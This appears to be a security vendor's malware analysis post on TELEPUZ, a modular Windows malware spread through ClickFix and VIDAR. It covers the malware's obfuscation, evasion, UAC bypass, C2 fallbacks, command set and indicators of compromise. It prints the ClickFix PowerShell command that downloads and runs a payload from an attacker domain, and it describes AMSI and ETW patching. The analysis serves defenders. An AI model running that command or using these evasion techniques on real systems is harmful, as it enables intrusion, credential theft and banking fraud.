

TELEPUZ: a modular MaaS malware spreading via CLICKFIX-VIDAR chains

 elastic.co/security-labs/telepuz-maas-malware-clickfix

Cyril François

July 16, 2026

TELEPUZ is a modular malware that emerged through CLICKFIX-VIDAR attacks in April. We reverse-engineered it to show you the infrastructure and evasion techniques that matter.

 13 min read  [Malware Analysis](#)

Elastic Security Labs is tracking an emerging threat named TELEPUZ, which we have discovered spreading widely via a CLICKFIX-VIDAR chain. This malware is in active development and has been operating since late April 2026, according to the infrastructure information we collected. The malware is full-featured, lightweight, and modular. While the number of C2 domains is currently small, the daily volume of builds uploaded to VirusTotal and the rapid pace of updates indicate active development and likely further growth.

Key takeaways

- Full-featured malware, modular, fast evolving
- Possible new MaaS, spreading fast
- Currently low number of C2 domains
- Stagers, main payload, and additional modules; uses WebSockets for communication.
- Observed delivered via a CLICKFIX-VIDAR campaign.

TELEPUZ infection chain via CLICKFIX-VIDAR



TELEPUZ infection chain diagram showing ClickFix, PowerShell, VIDAR, install.exe stager and modular payload delivery

TELEPUZ infection chain diagram showing ClickFix, PowerShell, VIDAR, install.exe stager and modular payload delivery

The infection chain begins with a [ClickFix](#) social engineering infection, in which the user visits a malicious web page and is prompted to copy and paste, then execute, a Windows shell command to access the page's content.

```
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -w h -ep bypass -c \  
"$h='memsho'+ 'wblob[.]forum';$n='f322a5fa.exe';$u='https://'+$h+'/api/index.php? a=grab';\  
$f=$env:TEMP+'\'+'$n;[Net.WebClient]::new().('Down'+ 'loadFile')($u,$f);\
```

```
ri($f+':Zone.Identifier')-EA 0;& $f
```

The command downloads the second stage from the URL

`hxxps://memshowblob[.]forum/api/index.php?a=grab` and executes the binary in the user's `%TEMP%` folder.

The second stage is a VIDAR Go variant

([580b441e2961739fd26e54e0a0ea08351cb10a51839519fc722cfa39ecd0c954](https://memshowblob[.]forum/api/index.php?a=grab)). VIDAR is a well-documented threat known for its ability to download and deploy secondary payloads. In this campaign, we observed it downloading and executing two additional components: the TELEPUZ stager (`install.exe`) and the main binary (`telepuz.dll`), both of which were retrieved from the `hurgadatour[.]shop` domain.



TELEPUZ VirusTotal submissions showing staging domain URLs from `hurgadatour.shop` with dates and submission counts

TELEPUZ VirusTotal submissions showing staging domain URLs from `hurgadatour.shop` with dates and submission counts

The `telemetriawork` part in the second-stage domain URL is a significant marker for this family; searching for this name on VirusTotal yields a large number of stagers and payloads associated with this family.



VirusTotal search results for `telemetriawork` pivot showing 429 TELEPUZ file matches with executable hashes

VirusTotal search results for `telemetriawork` pivot showing 429 TELEPUZ file matches with executable hashes

The third stage

([03fa348b70819296c958c842e7646b3b7efe5fa217ed5098143003c47995a746](https://memshowblob[.]forum/api/index.php?a=grab)) is a small PE, roughly 13–15 KB in size, designed to download and execute the main payload. After downloading the DLL, the stager installs it in the configured install folder and execute it using `rundll32` with the specified export name. These stagers share the same obfuscation mechanism as the main payload, which we will analyze in the following chapter, effectively linking them to the same family.



TELEPUZ `DownloadRunModule` function downloading DLL from `zewaplust.club` and executing with `rundll32.exe`

TELEPUZ `DownloadRunModule` function downloading DLL from `zewaplust.club` and executing with `rundll32.exe`

TELEPUZ technical analysis and internals

The reference sample is

[58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed](#)

The main payload is a 64-bit Windows shared library with one or two exports, whose names are systematically chosen to disguise the library as legitimate software. The malware is written in C, likely by hand, lightweight, modular, and the code quality is correct. The malware contains sparse memory allocations, little middleware, and some features still under development. These elements indicate that the project is led either by a solo developer or a very small team, and that coding is their core business. Given the significant number of builds uploaded to VirusTotal daily, it is likely that we are dealing with a MaaS.

Our sample contains the following exports:



TELEPUZ main payload exports showing GatewayLaunch and ServiceRoutine entry points
masquerading as legitimate DLL

TELEPUZ main payload exports showing GatewayLaunch and ServiceRoutine entry points
masquerading as legitimate DLL

TELEPUZ obfuscation techniques

Garbage instructions

The malware interleaves its actual code with “garbage instructions,” which have no functional purpose and are intended to slow down reverse engineering. However, some of these instructions are built to produce side effects, such as updating global variables or invoking Windows APIs, likely to ensure they are not optimized away by either the compiler or the disassembler as dead code. Fortunately, the IDA Pro decompiler does a good job at optimizing them, reducing the amount of clutter and rendering this obfuscation method largely ineffective.



TELEPUZ code showing ROR bit rotation operations, NtCurrentPeb access, and thread magic number calculations

TELEPUZ code showing ROR bit rotation operations, NtCurrentPeb access, and thread magic number calculations

Import hashing

TELEPUZ employs standard module and import name hashing to resolve its imports, which are dynamically loaded upon each invocation.



TELEPUZ GetModuleHandle and GetProcAddress dynamically loading ntdll.dll to extract syscall numbers for indirect syscall engine initialization

TELEPUZ GetModuleHandle and GetProcAddress dynamically loading ntdll.dll to extract syscall numbers for indirect syscall engine initialization

The hashing algorithm is described below:

```
def hash_module_name_wide(name):
    h = 0x97C2CA4B
    for c in name:
        b = ord(c) & 0xFF
        if 0x41 <= b <= 0x5A:
            b += 0x20
        h = ((h << 0x15) | (h >> 0x0B)) & 0xFFFFFFFF
        h = (h - b) & 0xFFFFFFFF
        h = (0x48076BB1 * h - 0x4767A3AB) & 0xFFFFFFFF
    return h
```

String encryption

TELEPUZ decrypts strings using a custom RC4 implementation, using constants that vary between samples. We developed an IDA script that uses the debugger's Appcall feature to instrument the decryption function and recover all strings. The IDA script is available [here](#).

Indirect syscalls

TELEPUZ employs indirect syscalls for several of its activities. To initialize its indirect syscall engine, the malware maps a fresh copy of ntdll.dll into memory using ReadFile. It then iterates through the export table to identify specific functions, parsing their syscall number from their instructions.



TELEPUZ disassembly showing syscall instruction and export function matching to syscall numbers

TELEPUZ disassembly showing syscall instruction and export function matching to syscall numbers

Once the syscall numbers are collected, TELEPUZ generates “trampoline” stubs consisting of the syscall prelude followed by a jump to the address of a syscall; ret gadget.



TELEPUZ VirtualAlloc syscall trampoline building code patching system library .text section with indirect syscalls

TELEPUZ VirtualAlloc syscall trampoline building code patching system library .text section with indirect syscalls

Finally, the malware selects a random library from a set of standard libraries (dfscli.dll, davalpr.dll, msdtclog.dll, dsrole.dll, and secur32.dll) and loads it via LoadLibrary. It then patches the library's .text section with the previously generated trampolines, so indirect syscalls are now executed from this location.



TELEPUZ indirect syscall trampoline patching loaded library .text section to bypass ETW and API hooking

TELEPUZ indirect syscall trampoline patching loaded library .text section to bypass ETW and API hooking

TELEPUZ execution flow and persistence installation

The malware's execution begins with its DllMain. The goal of this initial stage is to re-execute the malware using rundll32.exe with the appropriate export name, provided the current process is not already running as svchost.exe or rundll32.exe.



TELEPUZ code checking if current process is rundll32.exe and spawning threads for privilege escalation and C2 communication

TELEPUZ code checking if current process is rundll32.exe and spawning threads for privilege escalation and C2 communication

During the second execution, the ServiceRoutine export is triggered. This function serves as the primary malware entry point, responsible for installing persistence, initializing the indirect syscall engine, performing anti-VM and anti-debugger checks, elevating its privileges, installing itself as a service and finally initiating the C2 communication loop.

Upon execution, the malware first verifies if it is running from the %TEMP% folder. If so, it migrates to the designated persistence directory, which is distinct from the installation folder. While the stager typically handles writing the payload to the installation directory, the malware includes a fallback mechanism to copy itself to an %AppData% directory if this step has not yet been performed, re-run it from there and delete the current sample.



TELEPUZ DoPersistence function copying malware to DCFG Runtime Themes Processor folder and executing via rundll32

TELEPUZ DoPersistence function copying malware to DCFG Runtime Themes Processor folder and executing via rundll32

Next, the malware creates the mutex `cfgmgr_mtx` if it does not already exist. It then performs anti-VM and geolocation checks by verifying hardware constraints, such as whether the system has fewer than two CPUs, less than 2GB of memory, or insufficient disk space, and ensuring the system's locale identifier (LCID) is not among a hardcoded list of Commonwealth of Independent States (CIS) countries.

LCID	Language	Country
0x422	Ukrainian	Ukraine
0x423	Belarusian	Belarus
0x42B	Armenian	Armenia
0x42C	Azerbaijani	Azerbaijan
0x428	Tajik	Tajikistan
0x437	Georgian	Georgia
0x43F	Kazakh	Kazakhstan
0x440	Kyrgyz	Kyrgyzstan
0x442	Turkmen	Turkmenistan
0x443	Uzbek	Uzbekistan
0x818	Romanian	Moldova

The malware subsequently compares the current username and computer name against a hardcoded list of common sandbox and malware research identifiers.



TELEPUZ sandbox detection code comparing username against hardcoded malware research identifiers using CustomRC4 decryption

TELEPUZ sandbox detection code comparing username against hardcoded malware research identifiers using CustomRC4 decryption

Username

sandbox, malware, virus, test, sample, cuckoo, bruno, jz, dekker, abby, wilbert, johnson, miller, hddisk, currentuser, john, tim, sand box, maltest, pjones, fred

Computer names

sandbox, virus, malware, tequilaboombloom, hal9th, john-pc, mueller-pc, hanspeter-pc, 7silvia, fortinet, wasp, mars, desk-ivruuh4y14, COMPUTERNAME

Finally, the malware compares the display device name against a list of known hypervisor identifiers.



TELEPUZ VM detection code checking display device name, CPU count and memory constraints using CustomRC4 decryption

TELEPUZ VM detection code checking display device name, CPU count and memory constraints using CustomRC4 decryption

If the malware identifies a virtualized environment or an unauthorized geographic location, it terminates execution immediately. Otherwise, it proceeds to initialize the indirect syscall engine and executes a series of evasion routines: NTDLL unhooking, AMSI and ETW patching, and the removal of DllNotification callbacks, to disable security monitoring.



TELEPUZ indirect syscall engine setup code initializing trampolines and patching freshly loaded DLL for syscall evasion

TELEPUZ indirect syscall engine setup code initializing trampolines and patching freshly loaded DLL for syscall evasion

To unhook NTDLL, TELEPUZ maps a fresh copy of the library using `NtMapViewOfSection`. It then compares the loaded exports against this clean copy, restoring any patched bytes. For AMSI evasion, it patches the `AmsiScanBuffer` function with `"mov eax, 0x80070057; retn"`, forcing the function to return `E_INVALIDARG` to the caller. Finally, to disable ETW, it patches `EtwEventWrite`, `NtTraceEvent`, and `NtTraceEventControl` with `"xor eax, eax; retn"` instructions, effectively forcing these functions to return zero.

To remove third party `DllNotification` callbacks, the malware registers a dummy function via `LdrRegisterDllNotification` to obtain a cookie. It then uses the resulting opaque structure to iterate through the linked list of registered callbacks, verifying whether each resides within a legitimate Windows library. If not it removes it.



TELEPUZ DllNotification callback removal code iterating linked list to unregister third-party security tool callbacks

TELEPUZ DllNotification callback removal code iterating linked list to unregister third-party security tool callbacks

Following the evasion routines, the malware initiates debugger detection. It utilizes `NtQueryInformationProcess` to inspect `ProcessDebugPort`, `ProcessDebugFlags`, and `ProcessDebugObjectHandle`. It then employs `NtGetContextThread` to verify if hardware

breakpoints (DR0–DR7) are enabled. To further thwart analysis, it calls `NtSetInformationThread` with the `ThreadHideFromDebugger` flag and `NtClose` with `0xDEADBEEF` to cause a debugger crash.



TELEPUZ ThreadHideFromDebugger anti-debugging technique triggering exception to detect debugger presence

TELEPUZ ThreadHideFromDebugger anti-debugging technique triggering exception to detect debugger presence

Finally, the malware retrieves the parent process ID and verifies the parent process name against a list of known runners, such as `rundll32.exe` and `svchost.exe`.



TELEPUZ parent process verification against known runner processes using CustomRC4 string decryption

TELEPUZ parent process verification against known runner processes using CustomRC4 string decryption

The detection sequence concludes by inspecting the `PEB.BeingDebugged` flag. If a debugger is identified, the malware calls the `Sleep` function with an `INFINITE` parameter.

Once the debugger detection sequence completes, the malware generates a unique session id/victim identifier. This identifier is derived by combining the hardware serial number, the computer name, and the operating system's installation date. The generation algorithm is detailed below.

```
FNV1_SEED = 0x811C9DC5
```

```
FNV1_PRIME = 0x01000193
```

```
ROR27_SEED = 0xA1B39854
```

```
GOLDEN_RATIO = 0x61C88647
```

```
def fnv1_32(data: bytes, h: int = FNV1_SEED) -> int:
```

```
    for b in data:
```

```
        h = (FNV1_PRIME * (h ^ b)) & 0xFFFFFFFF
```

```
    return h
```

```
def ror27_sub(data: bytes, h: int = ROR27_SEED) -> int:
```

```

for b in data:

    v = (b ^ h) & 0xFFFFFFFF

    h = (((v >> 0x1B) | (v << 0x05)) - GOLDEN_RATIO) & 0xFFFFFFFF

return h

```

```

def generate_session_id(computer_name: bytes, volume_serial: bytes, install_date:
bytes) -> str:

    data = computer_name + volume_serial + install_date

    return "%08x%08x" % (fnv1_32(data), ror27_sub(data))

```

Following successful session identification, the malware spawns two concurrent threads: one dedicated to elevate itself and install the malware as a service, and the other to initiate the C2 communication loop. The installation thread starts by elevating itself as Admin using the COM elevation moniker technique. This technique involves creating an elevated COM object and using its ShellExecute method to spawn another elevated instance of the sample, thereby successfully bypassing UAC. A full implementation of this technique is [available here](#).



TELEPUZ COM elevation moniker technique using CLSID_CMSTPLUA for UAC bypass with CustomRC4 decryption

TELEPUZ COM elevation moniker technique using CLSID_CMSTPLUA for UAC bypass with CustomRC4 decryption

We identified an alternative UAC bypass using AppInfo ALPC and DebugObjects. The malware first launches a non-elevated winver.exe in debug mode via RAicLaunchAdminProcess to capture its debug object handle. It then launches an auto-elevated computerdefault.exe in debug mode and attaches the captured handle using DbgUiSetThreadDebugObject. This grants the malware full access to the elevated process, allowing it to spawn rundll32.exe and execute itself with elevated privileges. A full implementation of this technique is [available here](#).



TELEPUZ debugger detection checking ProcessDebugPort, ProcessDebugFlags and ThreadHideFromDebugger

TELEPUZ debugger detection checking ProcessDebugPort, ProcessDebugFlags and ThreadHideFromDebugger

Upon achieving elevation and depending on the configuration TELEPUZ next tries to get SYSTEM privilege by stealing the token of the first found process with one of the following

names: spoolsv.exe, msdtc.exe, WmiPrvSE.exe, svchost.exe. Next it registers itself as a service by creating the necessary registry keys to instruct Windows to load the malware within a new svchost.exe instance. The malware again tries to masquerade as legitimate software with the service name CipherAllocator.



TELEPUZ CipherAllocator service registration in Windows registry with ServiceDll and ServiceMain parameters

TELEPUZ CipherAllocator service registration in Windows registry with ServiceDll and ServiceMain parameters



Windows Registry Editor showing TELEPUZ CipherAllocator service registration with KngWrk and LocalService entries

Windows Registry Editor showing TELEPUZ CipherAllocator service registration with KngWrk and LocalService entries

The second thread manages the C2 communication loop, handling command reception, execution, and data exfiltration. Communication protocols and command structures are detailed in the following sections.

TELEPUZ C2 communication

TELEPUZ's configuration contains a single C2 domain, which is initialized just before the generation of the session identifier.



TELEPUZ C2 domain initialization and session ID generation combining hardware serial, computer name and install date via FNV1

TELEPUZ C2 domain initialization and session ID generation combining hardware serial, computer name and install date via FNV1

In the communication thread, the sample attempts to establish contact with its C2 up to 10 times, if it fails, it attempts to retrieve a fallback C2 address using 4 different methods.



TELEPUZ WebSocket connection retry logic attempting 10 connections before triggering C2 fallback methods

TELEPUZ WebSocket connection retry logic attempting 10 connections before triggering C2 fallback methods

These fallback methods access public resources to retrieve new C2 URLs, allowing operators to update addresses if the primary URL fails. We identified the following methods:

Telegram method

TELEPUZ accesses the Telegram profile "t[.]me/chanadarkpart, which contains the encrypted fallback URL.

 TELEPUZ Telegram C2 fallback channel t.me/chanadarkpart with XOR-encrypted C2 domain and kill switch

TELEPUZ Telegram C2 fallback channel t.me/chanadarkpart with XOR-encrypted C2 domain and kill switch

The data is XOR-encrypted using the hardcoded key "Goodman, the Steam profile and DNS record methods utilize this same encryption scheme. Decryption reveals the current C2 server at cal.snehamumbai[.]org. Examination of the channel messages indicates the channel was created in late April 2026.

 Telegram Biography channel t.me/chanadarkpart used by TELEPUZ for C2 fallback containing XOR-encrypted domain

Telegram Biography channel t.me/chanadarkpart used by TELEPUZ for C2 fallback containing XOR-encrypted domain

Steam Profile

The second method is based on Steam profile usernames, the profile the malware is targeting is hxxps://steamcommunity[.]com//profiles/76561199705801219.

 Steam profile page containing TELEPUZ C2 fallback domain encrypted with hardcoded key showing profile history

Steam profile page containing TELEPUZ C2 fallback domain encrypted with hardcoded key showing profile history

The profile name contains the same C2 address found in the Telegram channel. The profile's name history reveals both the C2 domain configured in the malware (cal.joycedoula[.]com[.]br) and this one again but encrypted with the key 11111111.

DNS record

The DNS record method does a DNS query for the domain codebasecode[.]com, it then extracts and decrypts the fallback C2 from the information returned. However so far we haven't found any record associated with this domain.

Polygon blockchain

TELEPUZ initiates a [JsonRPC](#) HTTP POST request to the Polygon blockchain using pre-configured endpoints, targeting the smart contract address 0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E with the method selector 0xc3f909d4.

```
{"jsonrpc": "2.0", "id": 1, "method": "eth_call", "params": [{"to": "0xf55Bea1FdCf1c3ABb39ab92567C09aC1BFf6753E", "data": "0xc3f909d4"}, {"latest"}]}
```

 TELEPUZ Polygon blockchain RPC endpoints used for C2 fallback method via Ethereum JSON-RPC calls

TELEPUZ Polygon blockchain RPC endpoints used for C2 fallback method via Ethereum JSON-RPC calls

From the returned result TELEPUZ parses the encrypted data and decrypt it using AES256-CBC with the key

"cee96a38e2dfe31ccf8c3aa7d0d9323e1e3183b2478ba582285822e943d242e9.

h=cal.snehamumbai[.]org|p=443|ssl=1

The smart contract also acts as a kill switch mechanism; if the returned result is fewer than 10 bytes, the malware calls `ExitThread`.

 TELEPUZ Polygon blockchain kill switch mechanism checking data size to trigger `ExitThread`

TELEPUZ Polygon blockchain kill switch mechanism checking data size to trigger `ExitThread`

A review of the smart contract address on a blockchain explorer reveals when the contract got created and recent activity at the time of writing.

 Polygon blockchain smart contract explorer showing TELEPUZ C2 retrieval mechanism with 70-day transaction history

Polygon blockchain smart contract explorer showing TELEPUZ C2 retrieval mechanism with 70-day transaction history

Once the C2 is resolved, it establishes communication using WebSockets with optional TLS. The WebSocket URL is `/cdn/health?sid=`, where the `sid` parameter is the session ID/victim identifier previously generated. Rather than using standard internet libraries, it manually establishes the connection via a TCP socket with hardcoded HTTP headers, and then uses the WebSocket protocol to communicate with the C2 server.

 TELEPUZ WebSocket C2 communication establishing connection to `cal.joycedoula.com.br` with HTTP upgrade headers

TELEPUZ WebSocket C2 communication establishing connection to `cal.joycedoula.com.br` with HTTP upgrade headers

If TLS is enabled, the malware establishes the tunnel using the Secure Channel (`SChannel`) provided by the Windows Security Support Provider (SSP). To perform the handshake, it uses the `InitializeSecurityContextA` function in a loop. In each iteration, it generates TLS data to send to the C2, receives the server's response, and feeds that response back into the same function to generate the subsequent handshake data.

 TELEPUZ TLS handshake initialization using Windows SChannel security context for encrypted C2 communication

TELEPUZ TLS handshake initialization using Windows SChannel security context for encrypted C2 communication

Once the WebSocket connection is established, the malware utilizes a simple JSON-based protocol. We implemented a very simple [flask-sock](#) server to receive the beacon data.

 TELEPUZ JSON beacon message to C2 containing hostname, username, OS version, architecture and system information

TELEPUZ JSON beacon message to C2 containing hostname, username, OS version, architecture and system information

TELEPUZ commands and capabilities

TELEPUZ receives commands from its C2 server either as plain text or as a hash. If a command is received as text, the malware computes its corresponding hash locally. The hashing algorithm is described below:

```
def hash_command_name(name):  
    h = 0x1505  
    for c in name:  
        h = (ord(c) ^ (0x21 * h)) & 0xFFFFFFFF  
    return h
```

The malware currently has 36 commands, they are described in the table below:

Hash	Command
0x7C82BBEB	Beacon
0x94822A12	CreateZip
0x98712C1C	Delete
0x92D09E05	DownloadFile
0x3098F2D8	DownloadLoadMalwareModule
0xACD43E91, 0x0D9B6199	DownloadRunPE

Hash	Command
0xFF55DC66	DownloadRunModule
0x1084A429	DownloadStartKeyLogger
0xCA4A8C1D	DownloadStartStealer
0x7117B24A	DownloadStartWebInjectModule
0x4C9F6E6F	ElevateToAdmin
0x037825F6	ElevateToSystem
0x99C81E9A	EnumerateDriveInfo
0x69224E1A	ExecuteCommand
0xF6E8CE40	ExtractChromeCookiesUsingDownloadedChromeElevator
0x2D858A03	GetCurrentTokenStatus
0xDE853911	GetKeyLoggerStatus
0x82E18E66	GetPathsInfo
0xA823945A	InjectShellcode
0x323BE80B	KeyLoggerEnableDisableFormFlush
0x7C8B2DA7	Kill
0xA5BD70FF	KillJob
0xA5BAAA7F	ListJobs
0x005974C6	ListRunningProcesses
0x0059735A	Ls
0x8BC0E38D	MaybePrivescDisabled
0x7F593804	MigrateIntoProcess
0xBCDE59A3	RevertToken

Hash	Command
0xA6EC9549	Screenshot
0x77E0A2E7	SetBeaconInterval
0xDEd585EE	StealProcessToken
0xF4040E98	StopMalwareModule
0xB14E7AF4	UpdateMalware
0xB152C246	Upload
0xB70B7E99	WriteToWebInjectModulePipe

To maintain a lightweight footprint, TELEPUZ downloads additional functional modules from its C2 server, such as stealer, keylogger, web injector, and cookie extraction modules for Chromium-based browsers.

Operators can specify a custom URI, though commands default to pre-configured values. For example, the `ExtractChromeCookiesUsingDownloadedChromeElevator` command retrieves a compiled binary of the [Chrome-App-Bound-Encryption-Decryption](#) project, defaulting to the path `/static/assets/chromelevator.bin`.

 TELEPUZ DownloadRunPE command retrieving Chrome-App-Bound-Encryption-Decryption tool from C2 server

TELEPUZ DownloadRunPE command retrieving Chrome-App-Bound-Encryption-Decryption tool from C2 server

The table below describes these default module URIs, they appear to be consistent across samples.

Module	Path
KeyLogger	<code>/static/modules/kMP6HBGEA8.bin</code>
WebInjector	<code>/static/modules/yaVaoS3Bw.bin</code>
Stealer	<code>/static/modules/W2UMxylgG_.bin</code>
ChromeCookie extractor	<code>/static/assets/chromelevator.bin</code>

The WebInjector module is a PE executable that communicates with TELEPUZ via standard I/O handles (STDIN, STDOUT, STDERR). TELEPUZ transmits its configuration in JSON format to the module via STDIN. The following is an LLM-reconstructed version based on the identified fields.

```
{
  "wait_idle": "bool, default true",
  "idle_timeout_sec": "int, default 15",
  "auto_forward_timeout_ms": "int, default 30000",
  "probe_port_start": "int, default 9222",
  "probe_port_end": "int, default 9229",
  "force_kill_browser": "bool, default false",
  "attach_all_tabs": "bool, default true",
  "debug_reports": "bool, default true",
  "intercept_hold": "bool, default false",
  "attach_only": "bool, default false",
  "browser": "string[16], default 'chrome'",
  "c2_host": "string[256]",
  "c2_port": "int, default 0",
  "c2_ssl": "bool, default false",
  "bot_id": "string[64]",
  "sdk": "string[65536]",
  "intercept_filter": "string[256]",
  "targets": [
    {
      "url_match": "string[256]",
      "name": "string[64]"
    }
  ],
  "actions": [
    {
```

```

    "id": "string[64]",
    "type": "string[32]",
    "trigger": "string[32]",
    "trigger_url": "string[256]",
    "template": "string[32768]",
    "template_b64": "string[32768], base64 decoded into template",
    "grab_fields": "string[1024]",
    "delay_ms": "int, default 0",
    "once": "bool, default false",
    "request_stage": "bool, default true (swap_fields only)",
    "response_stage": "bool, default true (swap_fields only)",
    "fields": {
        "iban": "string[64]",
        "amount_max": "int, default 0",
        "field_name": "string[32], default 'iban'",
        "amount_field": "string[32], default 'amount'"
    },
    "response_filter": {
        "remove_where_iban": "string[64]"
    }
}
]
}

```

The module can connect directly to the C2 via WebSocket on the URI `/ws/inject?cid=` if the connection information is provided in the configuration, allowing it to receive and execute commands directly. Otherwise, it relies on TELEPUZ as a middleman, using the `WriteToWebInjectModulePipe` command for communication. The module operates on Chromium-based browsers and Firefox. These commands allow the operator to control the injector, manage rules, steal cookies, execute JavaScript, and enable interception capabilities.

 TELEPUZ WebInjector module targeting Chrome, Firefox, Edge, Brave and Opera browsers for form field interception

TELEPUZ WebInjector module targeting Chrome, Firefox, Edge, Brave and Opera browsers for form field interception

Despite its name, the WebInjector module does not need to inject into or hook the browser. Instead, it interacts with Chromium-based browsers using the [Chrome DevTools Protocol \(CDP\)](#), which exposes APIs for browser interaction. The Firefox equivalent is the [WebDriver BiDi](#) protocol. Based on the configuration, the module can intercept webpages at various stages to execute its “actions.” Default values appear centered on swapping form fields containing financial information, such as the IBAN.

 TELEPUZ WebInjector module creating BiDi session using Chrome DevTools Protocol for browser interception

TELEPUZ WebInjector module creating BiDi session using Chrome DevTools Protocol for browser interception

TELEPUZ offers several methods for executing code. The `DownloadRunPE` command downloads a PE executable from a specified URL, creates a `dllhost.exe` process, with optional elevated privileges, and performs process hollowing with the downloaded PE. Optionally, it can also hollow its own process. The `DownloadRunModule` command is similar but retrieves the PE from the C2 using a provided path and tracks up to eight modules in a management table. The `DownloadLoadMalwareModule` command differs slightly: it loads a malware-compatible DLL with known exports, likely to add features or perform additional tasks.

 TELEPUZ AgentEnvConnect export function using CustomRC4 decryption with known malware DLL exports

TELEPUZ AgentEnvConnect export function using CustomRC4 decryption with known malware DLL exports

Interestingly the shellcode process injection command is not yet implemented and currently returns `INJECT:TOD0:pid=%u:shellcode_len=%u`, confirming that the malware is still in active development. Finally, the `GetPathsInfo` command provides detailed information about the malware's current installation.

`PATHINFO:`

```
{"running_from": "C:\\Users\\Lab\\Desktop\\telepuz.dll", "in_temp": false, "install_path": "C:\\ProgramData\\XeroxPrint\\Temp\\Worker\\grpeng.dll", "install_exists": true, "stager_path": "C:\\Users\\Lab\\AppData\\Roaming\\D3DSCache\\amd64\\SvcValidator.dll", "stager_exists": false, "persist_dir": "DCFG\\Runtime\\Themes\\Processor", "persist_name": "etwhost.dll", "marker_key": "Software\\Microsoft\\VisualStudio\\Telemetry", "service_exists": true, "service_name": "CipherAllocator", "host_process": "rundll32.exe", "host_pid": 5568}
```

TELEPUZ campaign timeline and C2 infrastructure

The first [TELEPUZ sample](#) was submitted on May 2, 2026. Since then, we have observed regular submissions of new builds, with a steady increase in binary size, and since early June, a significant spike in volume, confirming the campaign's high activity. However, dates from the Telegram channel and the Polygon smart contract indicate that activity began around April 27–29.

The download URLs typically follow the pattern `/files/telemetrywork/telepuz.dll`. However, variations exist, such as `telemetry/network/telepuz.dll` or `/files/telemetrywork/telepuz`. Interestingly, some early versions retained the `/file/` structure but randomized the remainder of the path, for example, `/files/xK7mR9pL2nQw5tY8/ygvfuyze.dll`. The complete list is available in the IOCs chapter.

Although numerous domains host the malware's stages and main payload, C2 infrastructure is notably more limited. We have identified two primary domains:

`cal.joycedoula[.]com[.]br`, which has been present in configurations since the earliest VirusTotal samples, and `cal.snehamumbai[.]org`, discovered through fallback methods. Interestingly, both utilize a `'cal.*'` subdomain and appear to be legitimate websites compromised by the actor. Based on configuration history and fallback resolution, these domains constitute the core C2 infrastructure, distinct from the payload hosting locations. Their limited number suggests that what we think is a MaaS is still in its early stages, despite the high volume of builds generated. While the staging domains are protected by Cloudflare, concealing their true hosting locations, the C2 servers have been identified as compromised websites located in Brazil and India, respectively.



TELEPUZ indicators of compromise

The table below lists the staging domain and URLs for the second and third stages:

Domain	First Seen	URL
chubrik\[.\]sbs	2026-05-09	hxxps://chubrik\[.\]sbs/files/xK7mR9pL2nQw5tY8/ygvfuyze.dll
betalegenda\[.\]cfid	2026-05-14	hxxps://betalegenda\[.\]cfid/files/xK7mR9pL2nQw5tY8/kmwvogwx.dll
mavpaprokla\[.\]lat	2026-05-19	hxxps://mavpaprokla\[.\]lat/files/telemetriawork/telepuz.dll
comicstar\[.\]lat	2026-05-26	hxxps://comicstar\[.\]lat/files/telemetriawork/telepuz.dll
bigblower\[.\]click	2026-05-28	hxxps://bigblower\[.\]click/files/telemetriawork/telepuz.dll
momasites\[.\]lol	2026-06-05	hxxps://momasites\[.\]lol/files/telemetriawork/telepuz.dll
momasites\[.\]com	2026-06-07	hxxps://momasites\[.\]com/files/telemetrywork/telepuz
mamsites\[.\]lol	2026-06-07	hxxps://mamsites\[.\]lol/files/telemetrywork/telepuz.dll
hardenedom\[.\]shop	2026-06-07	hxxps://hardenedom\[.\]shop/files/telemetriawork/telepuz.dll
hardendedom\[.\]shop	2026-06-07	hxxps://hardendedom\[.\]shop/files/lemetriawork/epuz.dll
hardendom\[.\]shop	2026-06-08	hxxps://hardendom\[.\]shop/files/telemetry/telepuz.dll
hardeneddom\[.\]shop	2026-06-10	hxxps://hardeneddom\[.\]shop/files/telemetrywork/telepuz

Domain	First Seen	URL
netblokirovka\ [.\]asia	2026-06-11	hxxps://netblokirovka\ [.\]asia/files/telemetriawork/telepuz.dll
netblokir\ [.\]asia	2026-06-12	hxxps://netblokir\ [.\]asia/files/telemetriawork/telepuz.dll
netlobikrovka\ [.\]asia	2026-06-14	hxxps://netlobikrovka\ [.\]asia/files/telemetriawork/telepuz.dll
neblokirovka\ [.\]as	2026-06-15	hxxps://neblokirovka\[.\]as/telemetry/network/telepuz.dll
kidsko\[.\]shop	2026-06-17	hxxps://kidsko\[.\]shop/files/telemetriawork/telepuz.dll
mazaporka\ [.\]shop	2026-06-22	hxxps://mazaporka\ [.\]shop/files/telemetriawork/telepuz.dll
172.67.215[.]214	2026-06-24	hxxps://172.67.215[.]214/files/telemetriawork/telepuz.dll
hurgadatour\ [.\]shop	2026-06-25	hxxps://hurgadatour\ [.\]shop/files/telemetriawork/telepuz.dll
krabsburger\ [.\]xyz	2026-06-29	hxxp://krabsburger\ [.\]xyz/files/telemetriawork/telepuz.dll
zewaplus\ [.\]club	2026-06-30	hxxps://zewaplus\ [.\]club/files/telemetriawork/telepuz.dll
172.67.165[.]144	2026-07-06	hxxps://172.67.165[.]144/files/telemetriawork/telepuz.dll

The table below lists the identified C2 infrastructure domains:

Domain	Notes
cal.joycedoula[.]com[.]br	Present in configuration of earliest samples.

Domain	Notes
cal.snehamumbai[.]org	Latest C2

The table below list analyzed samples and their artifacts:

Artifact	Type
58aec6e3835aaf20f7b4a7e308b36a19e7454673a6f71783871e9bcf6cae8eed	Reference TELEPUZ main payload
bfb3b4e645a3c0c23f87c55971069014f7424ad14497371ee7567eff68ffaf343	TELEPUZ main payload
ff791fe1532a2dc3b3c188a71bfd0177f973ef228e4d1dda1db6d3c4b0d62b3e	TELEPUZ main payload
a955d7e2819d5fa8b5f879cb970e1a1a91327098a7383f2a03a5e1e7e19435e3	TELEPUZ keylogger module
9733a3f6409de81271f21993c7f8b9865ac9f5c68c3d4336e91afe6b312477eb	TELEPUZ stealer module
444f1c0c82b3f6cc31d685bac68b20edbde5722ce219af9cceab0c2a6537efc1	TELEPUZ webinjector module
cfgmgr_mtx	mutex
bginfod_mtx	mutex
wfj64_mtx	mutex
%AppData%\Local\DCFG\Runtime\Themes\Processor\etwhost.dll	persistence
%AppData%\Roaming\StateRepository\Host\Recovery\systemreset.dll	persistence

Artifact	Type
%AppData%\Local\MiravaDevices\noraxrecovery.dll	persistence
%ProgramData%\XeroxPrint\Temp\Worker\grpeng.dll	install
